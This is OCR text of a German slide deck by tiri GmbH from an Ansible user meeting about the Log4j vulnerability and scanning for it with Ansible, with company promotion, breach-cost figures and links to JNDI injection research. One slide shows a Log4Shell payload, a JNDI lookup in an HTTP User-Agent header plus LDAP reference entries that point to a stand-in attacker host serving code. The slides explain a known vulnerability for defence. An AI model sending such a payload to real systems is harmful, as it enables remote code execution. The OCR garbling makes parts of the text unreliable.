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Das BSI warnt: Log4j Schwachstelle.
Scanning mit Ansible

Thomas Baumann tiri GmbH

Ansible Anwender Treffen 15.02.2022
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Im Herzen des Harburger Haf

= tiri“ wurde 2008 durch Thomas Baumann gegriindet.

= tiri GmbH hat zahlreiche renommierte Kunden
(bundesweit, teilweise auch DACH-Region).

= Es werden hauptsachlich Kunden aus Hamburg und Norddeutschland betreut,
teilweise mit Vor-Ort-Service, viele Kunden auch Remote liberregional.

= tiri GmbH hat ihren Sitz zentral im Herzen des Harburger Hafens in
einem wunderschénen denkmalgeschitzten Kaufmannhaus (1845)

= Nahe des ICE Bahnhofs Hamburg-Harburg und damit fiir Kunden und Mitarbeiter optimal erreichbar.
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1469290238702874625:

Thread

Marcus Hutchins &
@MalwareTechBlog

In the case of Minecraft, attackers were able to get
remote code execution on Minecraft Servers by simply
pasting a a short message into the chat box.

1:57 nachm. - 10. Dez. 2021 - Twitter Web App
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Pay Me Now, or Pay Me Later

287 days

Average number of

days to identify and

Data Resilience — Financial Impact

38%

Lost business share of

total breach costs

$1.59M

Two-thirds of CEOs site
cyber threats as their top
concern.

$401M

costofa

- Fortune

2021: Cost of a Data Breach

contain a data breach

average total cost for
lost business

$180
Per record cost
of P/slI

10%
increasein
average cost of a
data breachy2020
20.

Quelle: Cost of a Data Beach, IBM Security, Ponemon 2021
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Exploiting JNDI Injections in Java
By Michael Stepankin | January 3, 2019

Research

*
&

https://www.veracode.com/blog/research/exploiting-jndi-
injections-java

4 blg’ck hat
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AJOURNEY FROM JNDI/LDAP
MANIPULATION TO REMOTE CODE
EXECUTION DREAM LAND

Alvaro\Mufioz (@pwntester)
Oleksandr Mirosh

_—

https://www.blackhat.com/docs/us-
16/materials/us-16-Munoz-A-Journey-From-JNDI-
LDAP-Manipulation-To-RCE-wp.pdf
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Module java.naming

nodule java.naming
Defines the Java Naming and Directory Interface (INDI) APL

[ tandard JNDI prop: may be

supported by JNDI providers are defined and documented in

Cantext. Specific JNDI provider implementations may also
rt m rtios, which are

Ippe systel
specific to their implementation.

Module jsva naming
Package javax.naming.spi

package javax.naming.spi
‘Provides the means for dynamically plugging in support for

accessing naming through the §
and related packages.

JNDI
Implementation

X222

Module java.naming

Package javax.naming.spi

Class NamingManager
This class contains methods for creating context objects

‘and objects referred to by location Information in the
naming or directory service.

15.02.2022
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GET /anything HTTP/1.1
Host: vulnerable.com
User-Agent: ${jndi:ldap://attacker.com/a}

javaclassName: foo

javacodeBase: http://attacker.com
objectclass: javaNamingReference
javaFactory: Exploit

https://tiri.li 7
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°Wie hilft uns Ans r

¥

OS Management

Optimierung der Infrastruktur

Verbesserte Verflgbarkeit [}

Cyber Resiliency

Verringerung der

Betriebskosten durch Flexiblere

Verringerung der I
Bereitstellung

OpEx + CapEx Modernisierung
85% with self-service data reuse have
improved app dev speed and code quality
Quelle: Research conducted by ESG on behalf of IBM, 2020 © tiri GmbH
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e Wie hilft uns Ans!?.

Powerful Simple Agentless
Orchestrate complex

processes at enterprise scale.

Simplify automation creation
and management across
multiple domains.

* Ansible Automation Platform AAP2

© tiri GmbH

Easily integrate with
hybrid environments.
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e Wie hilft uns Ans!?.

Live Demo
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Weitere Aktionen
Workshop Security & Threat Intelligence Monitoring
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